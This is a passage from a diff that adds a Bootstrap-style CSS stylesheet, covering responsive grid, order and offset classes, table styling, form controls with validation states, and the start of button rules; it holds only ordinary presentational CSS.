-webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + + .order-md-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + + .order-md-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + + .order-md-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + + .order-md-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + + .order-md-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + + .order-md-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + + .order-md-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + + .order-md-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + + .order-md-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + + .order-md-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + + .order-md-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + + .order-md-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + + .order-md-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + + .order-md-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + + .offset-md-0 { + margin-left: 0 + } + + .offset-md-1 { + margin-left: 8.3333333333% + } + + .offset-md-2 { + margin-left: 16.6666666667% + } + + .offset-md-3 { + margin-left: 25% + } + + .offset-md-4 { + margin-left: 33.3333333333% + } + + .offset-md-5 { + margin-left: 41.6666666667% + } + + .offset-md-6 { + margin-left: 50% + } + + .offset-md-7 { + margin-left: 58.3333333333% + } + + .offset-md-8 { + margin-left: 66.6666666667% + } + + .offset-md-9 { + margin-left: 75% + } + + .offset-md-10 { + margin-left: 83.3333333333% + } + + .offset-md-11 { + margin-left: 91.6666666667% + } +} + +@media (min-width: 992px) { + .col-lg { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + + .col-lg-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + + .col-lg-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.3333333333%; + flex: 0 0 8.3333333333%; + max-width: 8.3333333333% + } + + .col-lg-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.6666666667%; + flex: 0 0 16.6666666667%; + max-width: 16.6666666667% + } + + .col-lg-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + + .col-lg-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.3333333333%; + flex: 0 0 33.3333333333%; + max-width: 33.3333333333% + } + + .col-lg-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.6666666667%; + flex: 0 0 41.6666666667%; + max-width: 41.6666666667% + } + + .col-lg-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + + .col-lg-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.3333333333%; + flex: 0 0 58.3333333333%; + max-width: 58.3333333333% + } + + .col-lg-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.6666666667%; + flex: 0 0 66.6666666667%; + max-width: 66.6666666667% + } + + .col-lg-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + + .col-lg-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.3333333333%; + flex: 0 0 83.3333333333%; + max-width: 83.3333333333% + } + + .col-lg-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.6666666667%; + flex: 0 0 91.6666666667%; + max-width: 91.6666666667% + } + + .col-lg-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + + .order-lg-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + + .order-lg-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + + .order-lg-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + + .order-lg-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + + .order-lg-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + + .order-lg-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + + .order-lg-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + + .order-lg-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + + .order-lg-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + + .order-lg-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + + .order-lg-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + + .order-lg-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + + .order-lg-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + + .order-lg-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + + .order-lg-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + + .offset-lg-0 { + margin-left: 0 + } + + .offset-lg-1 { + margin-left: 8.3333333333% + } + + .offset-lg-2 { + margin-left: 16.6666666667% + } + + .offset-lg-3 { + margin-left: 25% + } + + .offset-lg-4 { + margin-left: 33.3333333333% + } + + .offset-lg-5 { + margin-left: 41.6666666667% + } + + .offset-lg-6 { + margin-left: 50% + } + + .offset-lg-7 { + margin-left: 58.3333333333% + } + + .offset-lg-8 { + margin-left: 66.6666666667% + } + + .offset-lg-9 { + margin-left: 75% + } + + .offset-lg-10 { + margin-left: 83.3333333333% + } + + .offset-lg-11 { + margin-left: 91.6666666667% + } +} + +@media (min-width: 1200px) { + .col-xl { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + max-width: 100% + } + + .col-xl-auto { + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + width: auto; + max-width: none + } + + .col-xl-1 { + -webkit-box-flex: 0; + -ms-flex: 0 0 8.3333333333%; + flex: 0 0 8.3333333333%; + max-width: 8.3333333333% + } + + .col-xl-2 { + -webkit-box-flex: 0; + -ms-flex: 0 0 16.6666666667%; + flex: 0 0 16.6666666667%; + max-width: 16.6666666667% + } + + .col-xl-3 { + -webkit-box-flex: 0; + -ms-flex: 0 0 25%; + flex: 0 0 25%; + max-width: 25% + } + + .col-xl-4 { + -webkit-box-flex: 0; + -ms-flex: 0 0 33.3333333333%; + flex: 0 0 33.3333333333%; + max-width: 33.3333333333% + } + + .col-xl-5 { + -webkit-box-flex: 0; + -ms-flex: 0 0 41.6666666667%; + flex: 0 0 41.6666666667%; + max-width: 41.6666666667% + } + + .col-xl-6 { + -webkit-box-flex: 0; + -ms-flex: 0 0 50%; + flex: 0 0 50%; + max-width: 50% + } + + .col-xl-7 { + -webkit-box-flex: 0; + -ms-flex: 0 0 58.3333333333%; + flex: 0 0 58.3333333333%; + max-width: 58.3333333333% + } + + .col-xl-8 { + -webkit-box-flex: 0; + -ms-flex: 0 0 66.6666666667%; + flex: 0 0 66.6666666667%; + max-width: 66.6666666667% + } + + .col-xl-9 { + -webkit-box-flex: 0; + -ms-flex: 0 0 75%; + flex: 0 0 75%; + max-width: 75% + } + + .col-xl-10 { + -webkit-box-flex: 0; + -ms-flex: 0 0 83.3333333333%; + flex: 0 0 83.3333333333%; + max-width: 83.3333333333% + } + + .col-xl-11 { + -webkit-box-flex: 0; + -ms-flex: 0 0 91.6666666667%; + flex: 0 0 91.6666666667%; + max-width: 91.6666666667% + } + + .col-xl-12 { + -webkit-box-flex: 0; + -ms-flex: 0 0 100%; + flex: 0 0 100%; + max-width: 100% + } + + .order-xl-first { + -webkit-box-ordinal-group: 0; + -ms-flex-order: -1; + order: -1 + } + + .order-xl-last { + -webkit-box-ordinal-group: 14; + -ms-flex-order: 13; + order: 13 + } + + .order-xl-0 { + -webkit-box-ordinal-group: 1; + -ms-flex-order: 0; + order: 0 + } + + .order-xl-1 { + -webkit-box-ordinal-group: 2; + -ms-flex-order: 1; + order: 1 + } + + .order-xl-2 { + -webkit-box-ordinal-group: 3; + -ms-flex-order: 2; + order: 2 + } + + .order-xl-3 { + -webkit-box-ordinal-group: 4; + -ms-flex-order: 3; + order: 3 + } + + .order-xl-4 { + -webkit-box-ordinal-group: 5; + -ms-flex-order: 4; + order: 4 + } + + .order-xl-5 { + -webkit-box-ordinal-group: 6; + -ms-flex-order: 5; + order: 5 + } + + .order-xl-6 { + -webkit-box-ordinal-group: 7; + -ms-flex-order: 6; + order: 6 + } + + .order-xl-7 { + -webkit-box-ordinal-group: 8; + -ms-flex-order: 7; + order: 7 + } + + .order-xl-8 { + -webkit-box-ordinal-group: 9; + -ms-flex-order: 8; + order: 8 + } + + .order-xl-9 { + -webkit-box-ordinal-group: 10; + -ms-flex-order: 9; + order: 9 + } + + .order-xl-10 { + -webkit-box-ordinal-group: 11; + -ms-flex-order: 10; + order: 10 + } + + .order-xl-11 { + -webkit-box-ordinal-group: 12; + -ms-flex-order: 11; + order: 11 + } + + .order-xl-12 { + -webkit-box-ordinal-group: 13; + -ms-flex-order: 12; + order: 12 + } + + .offset-xl-0 { + margin-left: 0 + } + + .offset-xl-1 { + margin-left: 8.3333333333% + } + + .offset-xl-2 { + margin-left: 16.6666666667% + } + + .offset-xl-3 { + margin-left: 25% + } + + .offset-xl-4 { + margin-left: 33.3333333333% + } + + .offset-xl-5 { + margin-left: 41.6666666667% + } + + .offset-xl-6 { + margin-left: 50% + } + + .offset-xl-7 { + margin-left: 58.3333333333% + } + + .offset-xl-8 { + margin-left: 66.6666666667% + } + + .offset-xl-9 { + margin-left: 75% + } + + .offset-xl-10 { + margin-left: 83.3333333333% + } + + .offset-xl-11 { + margin-left: 91.6666666667% + } +} + +.table { + width: 100%; + max-width: 100%; + margin-bottom: 1rem; + background-color: transparent +} + +.table th, .table td { + padding: 0.75rem; + vertical-align: top; + border-top: 1px solid #dee2e6 +} + +.table thead th { + vertical-align: bottom; + border-bottom: 2px solid #dee2e6 +} + +.table tbody + tbody { + border-top: 2px solid #dee2e6 +} + +.table .table { + background-color: #fff +} + +.table-sm th, .table-sm td { + padding: 0.3rem +} + +.table-bordered { + border: 1px solid #dee2e6 +} + +.table-bordered th, .table-bordered td { + border: 1px solid #dee2e6 +} + +.table-bordered thead th, .table-bordered thead td { + border-bottom-width: 2px +} + +.table-striped tbody tr:nth-of-type(odd) { + background-color: rgba(0, 0, 0, 0.05) +} + +.table-hover tbody tr:hover { + background-color: rgba(0, 0, 0, 0.075) +} + +.table-primary, .table-primary > th, .table-primary > td { + background-color: #c5e6f8 +} + +.table-hover .table-primary:hover { + background-color: #aedcf5 +} + +.table-hover .table-primary:hover > td, .table-hover .table-primary:hover > th { + background-color: #aedcf5 +} + +.table-secondary, .table-secondary > th, .table-secondary > td { + background-color: #f9fafb +} + +.table-hover .table-secondary:hover { + background-color: #eaedf1 +} + +.table-hover .table-secondary:hover > td, .table-hover .table-secondary:hover > th { + background-color: #eaedf1 +} + +.table-success, .table-success > th, .table-success > td { + background-color: #d8e7c8 +} + +.table-hover .table-success:hover { + background-color: #cbdfb6 +} + +.table-hover .table-success:hover > td, .table-hover .table-success:hover > th { + background-color: #cbdfb6 +} + +.table-info, .table-info > th, .table-info > td { + background-color: #b8c8d8 +} + +.table-hover .table-info:hover { + background-color: #a8bbcf +} + +.table-hover .table-info:hover > td, .table-hover .table-info:hover > th { + background-color: #a8bbcf +} + +.table-warning, .table-warning > th, .table-warning > td { + background-color: #f5d0b8 +} + +.table-hover .table-warning:hover { + background-color: #f2c1a2 +} + +.table-hover .table-warning:hover > td, .table-hover .table-warning:hover > th { + background-color: #f2c1a2 +} + +.table-danger, .table-danger > th, .table-danger > td { + background-color: #efbfc1 +} + +.table-hover .table-danger:hover { + background-color: #eaabad +} + +.table-hover .table-danger:hover > td, .table-hover .table-danger:hover > th { + background-color: #eaabad +} + +.table-light, .table-light > th, .table-light > td { + background-color: #fdfdfe +} + +.table-hover .table-light:hover { + background-color: #ececf6 +} + +.table-hover .table-light:hover > td, .table-hover .table-light:hover > th { + background-color: #ececf6 +} + +.table-dark, .table-dark > th, .table-dark > td { + background-color: #c6c8ca +} + +.table-hover .table-dark:hover { + background-color: #b9bbbe +} + +.table-hover .table-dark:hover > td, .table-hover .table-dark:hover > th { + background-color: #b9bbbe +} + +.table-active, .table-active > th, .table-active > td { + background-color: rgba(0, 0, 0, 0.075) +} + +.table-hover .table-active:hover { + background-color: rgba(0, 0, 0, 0.075) +} + +.table-hover .table-active:hover > td, .table-hover .table-active:hover > th { + background-color: rgba(0, 0, 0, 0.075) +} + +.table .thead-dark th { + color: #fff; + background-color: #212529; + border-color: #32383e +} + +.table .thead-light th { + color: #495057; + background-color: #e9ecef; + border-color: #dee2e6 +} + +.table-dark { + color: #fff; + background-color: #212529 +} + +.table-dark th, .table-dark td, .table-dark thead th { + border-color: #32383e +} + +.table-dark.table-bordered { + border: 0 +} + +.table-dark.table-striped tbody tr:nth-of-type(odd) { + background-color: rgba(255, 255, 255, 0.05) +} + +.table-dark.table-hover tbody tr:hover { + background-color: rgba(255, 255, 255, 0.075) +} + +@media (max-width: 575.98px) { + .table-responsive-sm { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar + } + + .table-responsive-sm > .table-bordered { + border: 0 + } +} + +@media (max-width: 767.98px) { + .table-responsive-md { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar + } + + .table-responsive-md > .table-bordered { + border: 0 + } +} + +@media (max-width: 991.98px) { + .table-responsive-lg { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar + } + + .table-responsive-lg > .table-bordered { + border: 0 + } +} + +@media (max-width: 1199.98px) { + .table-responsive-xl { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar + } + + .table-responsive-xl > .table-bordered { + border: 0 + } +} + +.table-responsive { + display: block; + width: 100%; + overflow-x: auto; + -webkit-overflow-scrolling: touch; + -ms-overflow-style: -ms-autohiding-scrollbar +} + +.table-responsive > .table-bordered { + border: 0 +} + +.form-control { + display: block; + width: 100%; + padding: 0.375rem 0.75rem; + font-size: 1rem; + line-height: 1.5; + color: #495057; + background-color: #fff; + background-clip: padding-box; + border: 1px solid #ced4da; + border-radius: 0.25rem; + -webkit-transition: border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; + transition: border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; + transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; + transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out +} + +.form-control::-ms-expand { + background-color: transparent; + border: 0 +} + +.form-control:focus { + color: #495057; + background-color: #fff; + border-color: #a1d6f4; + outline: 0; + -webkit-box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.25); + box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.25) +} + +.form-control::-webkit-input-placeholder { + color: #868e96; + opacity: 1 +} + +.form-control:-ms-input-placeholder { + color: #868e96; + opacity: 1 +} + +.form-control::-ms-input-placeholder { + color: #868e96; + opacity: 1 +} + +.form-control::placeholder { + color: #868e96; + opacity: 1 +} + +.form-control:disabled, .form-control[readonly] { + background-color: #e9ecef; + opacity: 1 +} + +select.form-control:not([size]):not([multiple]) { + height: calc(2.25rem + 2px) +} + +select.form-control:focus::-ms-value { + color: #495057; + background-color: #fff +} + +.form-control-file, .form-control-range { + display: block; + width: 100% +} + +.col-form-label { + padding-top: calc(0.375rem + 1px); + padding-bottom: calc(0.375rem + 1px); + margin-bottom: 0; + font-size: inherit; + line-height: 1.5 +} + +.col-form-label-lg { + padding-top: calc(0.5rem + 1px); + padding-bottom: calc(0.5rem + 1px); + font-size: 1.25rem; + line-height: 1.5 +} + +.col-form-label-sm { + padding-top: calc(0.25rem + 1px); + padding-bottom: calc(0.25rem + 1px); + font-size: 0.875rem; + line-height: 1.5 +} + +.form-control-plaintext { + display: block; + width: 100%; + padding-top: 0.375rem; + padding-bottom: 0.375rem; + margin-bottom: 0; + line-height: 1.5; + background-color: transparent; + border: solid transparent; + border-width: 1px 0 +} + +.form-control-plaintext.form-control-sm, .input-group-sm > .form-control-plaintext.form-control, .input-group-sm > .input-group-prepend > .form-control-plaintext.input-group-text, .input-group-sm > .input-group-append > .form-control-plaintext.input-group-text, .input-group-sm > .input-group-prepend > .form-control-plaintext.btn, .input-group-sm > .input-group-append > .form-control-plaintext.btn, .form-control-plaintext.form-control-lg, .input-group-lg > .form-control-plaintext.form-control, .input-group-lg > .input-group-prepend > .form-control-plaintext.input-group-text, .input-group-lg > .input-group-append > .form-control-plaintext.input-group-text, .input-group-lg > .input-group-prepend > .form-control-plaintext.btn, .input-group-lg > .input-group-append > .form-control-plaintext.btn { + padding-right: 0; + padding-left: 0 +} + +.form-control-sm, .input-group-sm > .form-control, .input-group-sm > .input-group-prepend > .input-group-text, .input-group-sm > .input-group-append > .input-group-text, .input-group-sm > .input-group-prepend > .btn, .input-group-sm > .input-group-append > .btn { + padding: 0.25rem 0.5rem; + font-size: 0.875rem; + line-height: 1.5; + border-radius: 0.2rem +} + +select.form-control-sm:not([size]):not([multiple]), .input-group-sm > select.form-control:not([size]):not([multiple]), .input-group-sm > .input-group-prepend > select.input-group-text:not([size]):not([multiple]), .input-group-sm > .input-group-append > select.input-group-text:not([size]):not([multiple]), .input-group-sm > .input-group-prepend > select.btn:not([size]):not([multiple]), .input-group-sm > .input-group-append > select.btn:not([size]):not([multiple]) { + height: calc(1.8125rem + 2px) +} + +.form-control-lg, .input-group-lg > .form-control, .input-group-lg > .input-group-prepend > .input-group-text, .input-group-lg > .input-group-append > .input-group-text, .input-group-lg > .input-group-prepend > .btn, .input-group-lg > .input-group-append > .btn { + padding: 0.5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: 0.3rem +} + +select.form-control-lg:not([size]):not([multiple]), .input-group-lg > select.form-control:not([size]):not([multiple]), .input-group-lg > .input-group-prepend > select.input-group-text:not([size]):not([multiple]), .input-group-lg > .input-group-append > select.input-group-text:not([size]):not([multiple]), .input-group-lg > .input-group-prepend > select.btn:not([size]):not([multiple]), .input-group-lg > .input-group-append > select.btn:not([size]):not([multiple]) { + height: calc(2.875rem + 2px) +} + +.form-group { + margin-bottom: 1rem +} + +.form-text { + display: block; + margin-top: 0.25rem +} + +.form-row { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + margin-right: -5px; + margin-left: -5px +} + +.form-row > .col, .form-row > [class*="col-"] { + padding-right: 5px; + padding-left: 5px +} + +.form-check { + position: relative; + display: block; + padding-left: 1.25rem +} + +.form-check-input { + position: absolute; + margin-top: 0.3rem; + margin-left: -1.25rem +} + +.form-check-input:disabled ~ .form-check-label { + color: #868e96 +} + +.form-check-label { + margin-bottom: 0 +} + +.form-check-inline { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + padding-left: 0; + margin-right: 0.75rem +} + +.form-check-inline .form-check-input { + position: static; + margin-top: 0; + margin-right: 0.3125rem; + margin-left: 0 +} + +.valid-feedback { + display: none; + width: 100%; + margin-top: 0.25rem; + font-size: 80%; + color: #73A839 +} + +.valid-tooltip { + position: absolute; + top: 100%; + z-index: 5; + display: none; + max-width: 100%; + padding: .5rem; + margin-top: .1rem; + font-size: .875rem; + line-height: 1; + color: #fff; + background-color: rgba(115, 168, 57, 0.8); + border-radius: .2rem +} + +.was-validated .form-control:valid, .form-control.is-valid, .was-validated .custom-select:valid, .custom-select.is-valid { + border-color: #73A839 +} + +.was-validated .form-control:valid:focus, .form-control.is-valid:focus, .was-validated .custom-select:valid:focus, .custom-select.is-valid:focus { + border-color: #73A839; + -webkit-box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.25); + box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.25) +} + +.was-validated .form-control:valid ~ .valid-feedback, .was-validated .form-control:valid ~ .valid-tooltip, .form-control.is-valid ~ .valid-feedback, .form-control.is-valid ~ .valid-tooltip, .was-validated .custom-select:valid ~ .valid-feedback, .was-validated .custom-select:valid ~ .valid-tooltip, .custom-select.is-valid ~ .valid-feedback, .custom-select.is-valid ~ .valid-tooltip { + display: block +} + +.was-validated .form-check-input:valid ~ .form-check-label, .form-check-input.is-valid ~ .form-check-label { + color: #73A839 +} + +.was-validated .form-check-input:valid ~ .valid-feedback, .was-validated .form-check-input:valid ~ .valid-tooltip, .form-check-input.is-valid ~ .valid-feedback, .form-check-input.is-valid ~ .valid-tooltip { + display: block +} + +.was-validated .custom-control-input:valid ~ .custom-control-label, .custom-control-input.is-valid ~ .custom-control-label { + color: #73A839 +} + +.was-validated .custom-control-input:valid ~ .custom-control-label::before, .custom-control-input.is-valid ~ .custom-control-label::before { + background-color: #b2d789 +} + +.was-validated .custom-control-input:valid ~ .valid-feedback, .was-validated .custom-control-input:valid ~ .valid-tooltip, .custom-control-input.is-valid ~ .valid-feedback, .custom-control-input.is-valid ~ .valid-tooltip { + display: block +} + +.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before, .custom-control-input.is-valid:checked ~ .custom-control-label::before { + background-color: #8dc450 +} + +.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before, .custom-control-input.is-valid:focus ~ .custom-control-label::before { + -webkit-box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(115, 168, 57, 0.25); + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(115, 168, 57, 0.25) +} + +.was-validated .custom-file-input:valid ~ .custom-file-label, .custom-file-input.is-valid ~ .custom-file-label { + border-color: #73A839 +} + +.was-validated .custom-file-input:valid ~ .custom-file-label::before, .custom-file-input.is-valid ~ .custom-file-label::before { + border-color: inherit +} + +.was-validated .custom-file-input:valid ~ .valid-feedback, .was-validated .custom-file-input:valid ~ .valid-tooltip, .custom-file-input.is-valid ~ .valid-feedback, .custom-file-input.is-valid ~ .valid-tooltip { + display: block +} + +.was-validated .custom-file-input:valid:focus ~ .custom-file-label, .custom-file-input.is-valid:focus ~ .custom-file-label { + -webkit-box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.25); + box-shadow: 0 0 0 0.2rem rgba(115, 168, 57, 0.25) +} + +.invalid-feedback { + display: none; + width: 100%; + margin-top: 0.25rem; + font-size: 80%; + color: #C71C22 +} + +.invalid-tooltip { + position: absolute; + top: 100%; + z-index: 5; + display: none; + max-width: 100%; + padding: .5rem; + margin-top: .1rem; + font-size: .875rem; + line-height: 1; + color: #fff; + background-color: rgba(199, 28, 34, 0.8); + border-radius: .2rem +} + +.was-validated .form-control:invalid, .form-control.is-invalid, .was-validated .custom-select:invalid, .custom-select.is-invalid { + border-color: #C71C22 +} + +.was-validated .form-control:invalid:focus, .form-control.is-invalid:focus, .was-validated .custom-select:invalid:focus, .custom-select.is-invalid:focus { + border-color: #C71C22; + -webkit-box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.25); + box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.25) +} + +.was-validated .form-control:invalid ~ .invalid-feedback, .was-validated .form-control:invalid ~ .invalid-tooltip, .form-control.is-invalid ~ .invalid-feedback, .form-control.is-invalid ~ .invalid-tooltip, .was-validated .custom-select:invalid ~ .invalid-feedback, .was-validated .custom-select:invalid ~ .invalid-tooltip, .custom-select.is-invalid ~ .invalid-feedback, .custom-select.is-invalid ~ .invalid-tooltip { + display: block +} + +.was-validated .form-check-input:invalid ~ .form-check-label, .form-check-input.is-invalid ~ .form-check-label { + color: #C71C22 +} + +.was-validated .form-check-input:invalid ~ .invalid-feedback, .was-validated .form-check-input:invalid ~ .invalid-tooltip, .form-check-input.is-invalid ~ .invalid-feedback, .form-check-input.is-invalid ~ .invalid-tooltip { + display: block +} + +.was-validated .custom-control-input:invalid ~ .custom-control-label, .custom-control-input.is-invalid ~ .custom-control-label { + color: #C71C22 +} + +.was-validated .custom-control-input:invalid ~ .custom-control-label::before, .custom-control-input.is-invalid ~ .custom-control-label::before { + background-color: #ec777b +} + +.was-validated .custom-control-input:invalid ~ .invalid-feedback, .was-validated .custom-control-input:invalid ~ .invalid-tooltip, .custom-control-input.is-invalid ~ .invalid-feedback, .custom-control-input.is-invalid ~ .invalid-tooltip { + display: block +} + +.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before, .custom-control-input.is-invalid:checked ~ .custom-control-label::before { + background-color: #e2343a +} + +.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before, .custom-control-input.is-invalid:focus ~ .custom-control-label::before { + -webkit-box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(199, 28, 34, 0.25); + box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(199, 28, 34, 0.25) +} + +.was-validated .custom-file-input:invalid ~ .custom-file-label, .custom-file-input.is-invalid ~ .custom-file-label { + border-color: #C71C22 +} + +.was-validated .custom-file-input:invalid ~ .custom-file-label::before, .custom-file-input.is-invalid ~ .custom-file-label::before { + border-color: inherit +} + +.was-validated .custom-file-input:invalid ~ .invalid-feedback, .was-validated .custom-file-input:invalid ~ .invalid-tooltip, .custom-file-input.is-invalid ~ .invalid-feedback, .custom-file-input.is-invalid ~ .invalid-tooltip { + display: block +} + +.was-validated .custom-file-input:invalid:focus ~ .custom-file-label, .custom-file-input.is-invalid:focus ~ .custom-file-label { + -webkit-box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.25); + box-shadow: 0 0 0 0.2rem rgba(199, 28, 34, 0.25) +} + +.form-inline { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.form-inline .form-check { + width: 100% +} + +@media (min-width: 576px) { + .form-inline label { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + margin-bottom: 0 + } + + .form-inline .form-group { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-flex: 0; + -ms-flex: 0 0 auto; + flex: 0 0 auto; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row wrap; + flex-flow: row wrap; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + margin-bottom: 0 + } + + .form-inline .form-control { + display: inline-block; + width: auto; + vertical-align: middle + } + + .form-inline .form-control-plaintext { + display: inline-block + } + + .form-inline .input-group { + width: auto + } + + .form-inline .form-check { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + width: auto; + padding-left: 0 + } + + .form-inline .form-check-input { + position: relative; + margin-top: 0; + margin-right: 0.25rem; + margin-left: 0 + } + + .form-inline .custom-control { + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center + } + + .form-inline .custom-control-label { + margin-bottom: 0 + } +} + +.btn { + display: inline-block; + font-weight: 400; + text-align: center; + white-space: nowrap; + vertical-align: middle; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + border: 1px solid transparent; + padding: 0.375rem 0.75rem; + font-size: 1rem; + line-height: 1.5; + border-radius: 0.25rem; + -webkit-transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; + transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out; + transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; + transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out +} + +.btn:hover, .btn:focus { + text-decoration: none +} + +.btn:focus, .btn.focus { + outline: 0; + -webkit-box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.25); + box-shadow: 0 0 0 0.2rem rgba(47, 164, 231, 0.25) +} + +.btn.disabled, .btn:disabled { + opacity: 0.65 +} + +.btn:not(:disabled):not(.disabled) { + cursor: pointer +} + +.btn:not(:disabled):not(.disabled):active, .btn:not(:disabled):not(.disabled).active { + background-image: none +} + +a.btn.disabled, fieldset:disabled a.btn { + pointer-events: none +} + +.btn-primary { + color: #fff; + background-color: #2FA4E7; + border-color: #2FA4E7 +} + 